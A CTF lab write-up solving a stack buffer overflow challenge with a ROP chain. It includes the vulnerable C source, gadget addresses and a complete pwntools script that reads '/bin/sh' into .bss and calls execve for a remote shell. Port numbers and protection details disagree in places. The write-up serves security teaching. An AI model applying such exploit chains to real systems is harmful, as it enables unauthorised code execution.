Simple PWN - 0x12(Lab - rop++
)
tags: CTF
PWN
eductf
challenge: nc edu-ctf.zoolab.org 10004
Original Code
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char buf[0x10];
const char *msg = "show me rop\n> ";
write(1, msg, strlen(msg));
read(0, buf, 0x200);
return 0;
}
gcc -fno-stack-protector -static -o chal rop++.c
Analyze
- Obviously buffer overflow!!!
- Check protector
$ checksec chal [*] '/home/sbk6401/NTUCS/PWN/Lab/rop++/share/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
- Preliminary idea is using
ROP
chain and get shell, but the problem is where can I write/bin/sh\x00
? We can usevmmap
to observe where section is writable and readable →0x4c5000~0x4c800
$ readelf -S chal ... [25] .bss NOBITS 00000000004c72a0 000c6290 0000000000005980 0000000000000000 WA 0 0 32 ...
We can use `.bss` section(`0x4c72a0`) to write parameter
/bin/sh\x00
-
Note that
, because
ASLR
is enabled, so we cannot write/bin/sh\x00
to stack, in addition,PIE
is unable, so that we can write and read data from.bss
section with fixed address
-
Note that
Exploit - ROP
- Write
ROP
chain inbuf
parameter$ ROPgadget --binary chal --only "pop|leave|ret|syscall" --multibr > rop_gadget $ vim rop_gadget
pop_rax_ret = 0x447b27 pop_rdi_ret = 0x401e3f pop_rsi_ret = 0x409e6e pop_rdx_rbx_ret = 0x47ed0b syscall_ret = 0x414506 leave_ret = 0x401797
- Construct
ROP
chain In order to achieve our idea, we need another read to write/bin/sh\x00
to.bss
sectionROP_read = flat( # call read function pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, 0x4c72a0, pop_rdx_rbx_ret, 0x100, 0, syscall_ret, )
Then we need another
ROP
chain to callshell
ROP_shell = flat( # Get shell pop_rax_ret, 0x3b, pop_rdi_ret, 0x4c72a0, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret, )
- Note that
0x4c72a0
is the beginning of.bss
section
- Note that
- Send payload
binsh = 0x68732f6e69622f #'/bin/sh\x00' r.sendafter("show me rop\n>", b'a'*0x28 + ROP_read + ROP_shell) r.send(flat(binsh))
- Then we get shell and read flag
- Whole exploit :::spoiler code ```python! from pwn import *
#r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10003) raw_input() context.arch = ‘amd64’
pop_rax_ret = 0x447b27 pop_rdi_ret = 0x401e3f pop_rsi_ret = 0x409e6e pop_rdx_rbx_ret = 0x47ed0b syscall_ret = 0x414506 leave_ret = 0x401797
binsh = 0x68732f6e69622f #’/bin/sh\x00’
ROP_read = flat( # call read function pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, 0x4c72a0, pop_rdx_rbx_ret, 0x100, 0, syscall_ret,
)ROP_shell = flat( # Get shell pop_rax_ret, 0x3b, pop_rdi_ret, 0x4c72a0, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret,
)
r.sendafter(“show me rop\n>”, b’a’*0x28 + ROP_read + ROP_shell) r.send(flat(binsh))
r.interactive() ``` :::
Appendix
This payload will call sys_read
and read something that we send, that is 0x68732f6e69622f
(/bin/sh\x00
), and then it’ll call sys_execve
.